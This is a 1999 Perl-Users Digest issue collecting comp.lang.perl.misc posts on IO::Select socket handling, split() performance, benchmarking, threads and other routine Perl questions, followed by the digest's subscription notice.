Date: Mon, 1 Nov 1999 11:15:49 -0500
From: Ala Qumsieh <aqumsieh@matrox.com>
Subject: Re: Simple socket question
Message-Id: <x3yhfj6tcgb.fsf@tigre.matrox.com>
Sean Conley <seanc@jps.net> writes:
> Okay, here's an easy one. I am writing a telnet client, actually a MUD
> client, in perl. How do I tell if the remote side has closed the
> socket?
[snip the rest]
I might not be answering your question directly, but I would like to
show you an easier way of doing things (for me at least). I admit it:
I hate select(). It confuses me big time. So I use the wonderful
IO::Select module which is part of the standard distribution.
use IO::Select;
my $rh = new IO::Select;
$rh->add($sock);
while (1) {
my ($read) = IO::Select->select($rh,
undef,
undef,
1);
for my $s (@$read) {
if ($s == $sock) {
# new connection.
my $new_sock = $sock->accept;
# do whatever with $new_sock
} else {
my $buf = <$s>;
if ($buf) {
# someone said something
$buf =~ tr/\n\r//d;
print "I heard '$buf'.\m";
} else {
# someone quit
print "Someone quit.\n";
$rh->remove($s);
}
}
}
}
I believe the code is straight forward to understand. First I create
an IO::Select object, and then add $sock to it. Now, I use the static
select() method to find which filehandles are readable. The select()
method takes 3 IO::Select objects as its first 3 arguments. The first
object contains readable handles, the second writables, and the third
handles to check for errors on. The 4th argument is the timeout. The
result will be an array of 3 elements, each a reference to an array
which will hold the handles that are ready for reading, writing and
have error conditions respectively.
Read the IO::Select docs for more info.
Now, I only care about readable handles, and that's the only thing
that gets saved in $read. Iterating through @$read, I get all the
filehandles that are ready for reading. In case of a new connection, I
get my original socket back. So in that case, I use the accept()
method to create a new socket, and (presumably) save it somewhere
safe. If a client says something, I read it. If what I read is
undefined, then the client has quit.
HTH,
--Ala
------------------------------
Date: Sun, 31 Oct 1999 18:08:18 +0100
From: Walter van den Berg <vandenbNOSPAM@cistron.nl>
Subject: Re: simplifying a script
Message-Id: <InccOPD4EUmacGstgMzRLWFogKxQ@4ax.com>
On 31 Oct 1999 19:37:01 GMT, dha@panix7.panix.com (David H. Adler)
wrote:
>>> WvdB> I will go to town and buy a decent book. Is Learning Perl (2nd
>>> WvdB> Edition); By Randal L. Schwartz a good one?
>
>And, of course, if one is on Windows, one might wish to get the Win32
>version - which has 3 authors! Where will it all end?
>
Got it - surely is different. I feel much more enlightened now.
Walter.
------------------------------
Date: Mon, 01 Nov 1999 11:43:11 -0800
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: simplifying a script
Message-Id: <381DED4F.459DFFC8@mail.cor.epa.gov>
David H. Adler wrote:
>
> In article <MPG.1284dd4ad0b0c63698a16a@nntp.hpl.hp.com>, Larry Rosler wrote:
[snip]
> >And it has two authors, one of whom isn't around to defend himself.
>
> And, of course, if one is on Windows, one might wish to get the Win32
> version - which has 3 authors! Where will it all end?
Umm, by simple extrapolation, I foresee:
"Learning Perl for the Windows 3000 System", released in the
year 3002 only days after the OS is released, and the author list
is uncountably infinite.
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: Mon, 01 Nov 1999 14:40:34 -0600
From: TK Soh <r28629@email.sps.mot.com>
Subject: speeding up split()
Message-Id: <381DECA1.9EBABE1D@email.sps.mot.com>
Hi,
I am trying to speed up the split() statement in my program that has to
split a tab-delimited file in to arrays of about 1200 elements for each
line. Here is the statistic of split() and the data file:
=head1 Solaris output
$ time perl -ne '$w += split /\t/' data.log
6.26u 0.21s 0:06.56 98.6%
$ time
perl -ne '@l = split /\t/' data.log
14.21u 0.16s 0:14.39 99.8%
$ wc data.log
649 673828 1422219 data.log
$ perl -v
This is perl, version 5.005_01 built for sun4-solaris
Copyright 1987-1998, Larry Wall
=cut
If I understand Ilya Z's post on the c.l.p.m.thread "Is split
(surprisingly,amazingly) slow?" correctly, a significant amount of time
is taken up in passing the output of split() into the array through the
stack, as suggested by the data.
In this case, can the speed be theoritically improved by passing \@array
into split() or have it return \@array of the result, if this is
altogether possible? I started reading perlxs and perlguts two days ago,
so feel free to correct me :-)
Yet another post on the same thread suggested the use of unpack() for
speed improvement (split on vertical bar as per original post) by about
30% :
@v = unpack(/\|/, $_);
however, my debugger show @v as empty array, that's makes me wonder if
the improvement was due to the unsuccessful 'split'.
BTW, my home brewed split function with XSUB, though works, was too slow
to mention. I should probably start reading the source code on the
split() function later.
Any comment or suggestion?
-TK
------------------------------
Date: 1 Nov 1999 19:07:07 GMT
From: Mike South <msouth@shodor.org>
Subject: Re: Sub in which module
Message-Id: <7vkocr$5op$1@inxs.ncren.net>
Samay <samay1NOsaSPAM@hotmail.com.invalid> wrote:
> Hi, I have main program which list several use statement and code.
> How I can find that particular subroutine is in which module?
Watch it go by in the debugger.
perl -d whatever.pl
------------------------------
Date: Mon, 1 Nov 1999 09:10:01 -0800
From: Larry Rosler <lr@hpl.hp.com>
Subject: Re: Thanks and Follow-up (was: RFC: Making array using range op and map)
Message-Id: <MPG.1287691239b91ef698a16f@nntp.hpl.hp.com>
In article <x7bt9eb3dt.fsf@home.sysarch.com> on 01 Nov 1999 11:09:02 -
0500, Uri Guttman <uri@sysarch.com> says...
> >>>>> "LR" == Larry Rosler <lr@hpl.hp.com> writes:
>
> LR> Benchmark: timing 10000 iterations of Larry, Larry1, Uri...
> LR> Larry: 5 wallclock secs ( 4.62 usr + 0.00 sys = 4.62 CPU)
> LR> Larry1: 2 wallclock secs ( 2.41 usr + 0.00 sys = 2.41 CPU)
> LR> Uri: 4 wallclock secs ( 3.41 usr + 0.00 sys = 3.41 CPU)
>
> LR> There, that feels better! Sorry, Uri [NOT!].
>
> i never claimed the fastest. i just wrote a very clear answer to someone
> who might not grok maps yet. and if the starting/ending vals and
> increments are not constant, a loop should (i ain't testing it) be about
> the same as map as you would have to do the divisions.
>
> also if the starting/ending values were not multiples of the increment,
> then the loop wins easy over the map.
It is not an issue with your code. I also took a somewhat pedagogic
approach, as I said.
The lesson should be to 'JAPHW Lou Hevly lou@visca.com' (and others who
may be tempted), not to draw conclusions (such as "Unsurprisingly, to
me, at least, Uri's simple C loop is fastest.") from benchmarks of code
that was not written solely with performance in mind.
From our work with sorting, we each know well that the fewer the number
of perl ops, the faster the code is likely to be. The clarity of the
code depends on the knowledge and experience of the person who reads it.
--
(Just Another Larry) Rosler
Hewlett-Packard Laboratories
http://www.hpl.hp.com/personal/Larry_Rosler/
lr@hpl.hp.com
------------------------------
Date: 01 Nov 1999 12:37:19 -0500
From: Uri Guttman <uri@sysarch.com>
Subject: Re: Thanks and Follow-up (was: RFC: Making array using range op and map)
Message-Id: <x73duqazao.fsf@home.sysarch.com>
>>>>> "LR" == Larry Rosler <lr@hpl.hp.com> writes:
LR> In article <x7bt9eb3dt.fsf@home.sysarch.com> on 01 Nov 1999 11:09:02 -
LR> 0500, Uri Guttman <uri@sysarch.com> says...
>> i never claimed the fastest. i just wrote a very clear answer to someone
>> who might not grok maps yet. and if the starting/ending vals and
>> increments are not constant, a loop should (i ain't testing it) be about
>> the same as map as you would have to do the divisions.
>>
>> also if the starting/ending values were not multiples of the increment,
>> then the loop wins easy over the map.
LR> It is not an issue with your code. I also took a somewhat pedagogic
LR> approach, as I said.
i know that. i was just backing my choice of coding regardless of its
speed in this case. it is more flexible and simpler to understand for
newbies.
LR> The lesson should be to 'JAPHW Lou Hevly lou@visca.com' (and others who
LR> may be tempted), not to draw conclusions (such as "Unsurprisingly, to
LR> me, at least, Uri's simple C loop is fastest.") from benchmarks of code
LR> that was not written solely with performance in mind.
again true. we were all just solving his problem in multiple ways. he
brought in benchmarking and blew it. and for this kind of problem,
benchmarking is foolish as the actual time saved may never be noticed in
the real world use of the algorithm. as knuth (sorta) says, premature
benchmarking is evil.
LR> From our work with sorting, we each know well that the fewer the
LR> number of perl ops, the faster the code is likely to be. The
LR> clarity of the code depends on the knowledge and experience of the
LR> person who reads it.
a good point we should always emphasize when benchmarks are posted.
also maybe we should heed ilya's comments about using string instead of
sub benchmarks. i don't exactly follow his arguments but then that is
usually the case with him. also 5.6 will have a much improved benchmark
module. many new features (run for N seconds, reports time per
iteration) and more accurate timings (dealing with overhead issues).
uri
--
Uri Guttman --------- uri@sysarch.com ---------- http://www.sysarch.com
SYStems ARCHitecture, Software Engineering, Perl, Internet, UNIX Consulting
The Perl Books Page ----------- http://www.sysarch.com/cgi-bin/perl_books
The Best Search Engine on the Net ---------- http://www.northernlight.com
------------------------------
Date: Mon, 01 Nov 1999 11:44:49 -0800
From: Charlie Krauter <charlie@mother.com>
Subject: Re: Threads in Perl 5.005_03
Message-Id: <381DEDB1.2B4462F6@mother.com>
Douglas Garstang wrote:
> From what I've been reading, Threads are available in perl 5.005_03.
>
> Well.... unless I'm doing something wrong, therey aren't on mine!
>
> No 'perldoc Thread', 'perldoc Threads', 'use Thread', 'use Threads' etc.
>
> The RedHat 6.1 implementation of perl 5.005_03 isn't broken is it?
You might also try 'perldoc perlthrtut'
------------------------------
Date: Mon, 1 Nov 1999 11:47:03 -0800
From: "John" <johnny@my-deja.com>
Subject: Weird uninitailized value
Message-Id: <J2mT3.35$eh.529@news.corecomm.net>
Hi there group.
I ahve a problem I am running a perl program that reads in some files and
then reformats them into columns.
When I am running my format loop I get this error
Use of uninitialized value at combine.prl line 71, <IN4> chunk 20 (or
whatever the last line of the file is)
<IN4> is a singled rowed file with 19 rows. Is it having a problem picking
up the end of file or something from that file. The input file is usually a
lot bigger (65000 lines) and it gets annoying having that message run by the
screen that many times. Does any one have any suggestions that I may be
missing ... Here is the snipit of how I read in the file
while (<IN4>) {
chomp;
$dis{$c} = $_;
$c = $c + 1;
}
Thanks for any Help,
Ryan
------------------------------
Date: 1 Nov 1999 13:05:43 -0500
From: catfood@apk.net (Mark W. Schumann)
Subject: Re: What makes the web go?
Message-Id: <7vkkpn$fvr@junior.apk.net>
In article <brian-0111990248320001@134.new-york-61-62rs.ny.dial-access.att.net>,
brian d foy <brian@smithrenaud.com> wrote:
>In article <7vjbbi$hfi@junior.apk.net>, catfood@apk.net (Mark W. Schumann) wrote:
>> Perl is not Apache. Apache is not Perl.
>
>that's a little fuzzy, because my apache is perl ;)
Hey, just because it's perl doesn't mean it's Perl.
GeeeeeEEEEEeeeez. Newbies.
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V9 Issue 1245
**************************************
